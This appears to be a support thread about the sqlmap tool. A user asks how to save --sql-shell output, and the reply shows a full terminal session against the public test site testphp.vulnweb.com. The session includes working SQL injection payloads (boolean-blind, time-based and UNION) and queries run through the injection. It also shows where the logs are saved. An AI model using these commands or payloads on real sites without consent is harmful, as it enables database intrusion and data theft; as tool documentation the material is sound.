How can I save the output when using the --sql-shell command?

[ErrorMySQL]

How can I save the output when using the --sql-shell command?

[stamparm]

$ python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --sql-shell
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.5.4#dev}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:21:04 /2024-05-17/

[18:21:05] [INFO] resuming back-end DBMS 'mysql' 
[18:21:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: artist=-5534 OR 9385=9385#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 4969 FROM (SELECT(SLEEP(5)))hpgN)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9480 UNION ALL SELECT NULL,NULL,CONCAT(0x7162767671,0x794552797a41494545674554715957725a5253616264625347534f64444358655a415150646b6f64,0x7170717671)-- -
---
[18:21:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[18:21:05] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> SELECT VERSION()
[18:21:08] [INFO] fetching SQL SELECT statement query output: 'SELECT VERSION()'
SELECT VERSION(): '8.0.22-0ubuntu0.20.04.2'
sql-shell> SELECT CURRENT_USER()
[18:21:18] [INFO] fetching SQL SELECT statement query output: 'SELECT CURRENT_USER()'
SELECT CURRENT_USER(): 'acuart@localhost'
sql-shell> exit
[18:21:20] [INFO] fetched data logged to text files under '/home/stamparm/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 18:21:20 /2024-05-17/

$ ll /home/stamparm/.local/share/sqlmap/output/testphp.vulnweb.com
total 24
drwxrwxr-x 2 stamparm stamparm 4096 svi  17 18:21 ./
drwxrwxr-x 5 stamparm stamparm 4096 svi  17 18:21 ../
-rw-rw-r-- 1 stamparm stamparm  863 svi  17 18:21 log
-rw-r--r-- 1 stamparm stamparm 8192 svi  17 18:21 session.sqlite
-rw-rw-r-- 1 stamparm stamparm  137 svi  17 18:21 target.txt
$ cat /home/stamparm/.local/share/sqlmap/output/testphp.vulnweb.com/log 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: artist=-5534 OR 9385=9385#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 4969 FROM (SELECT(SLEEP(5)))hpgN)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-9480 UNION ALL SELECT NULL,NULL,CONCAT(0x7162767671,0x794552797a41494545674554715957725a5253616264625347534f64444358655a415150646b6f64,0x7170717671)-- -
---
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
SELECT VERSION(): '8.0.22-0ubuntu0.20.04.2'
SELECT CURRENT_USER(): 'acuart@localhost'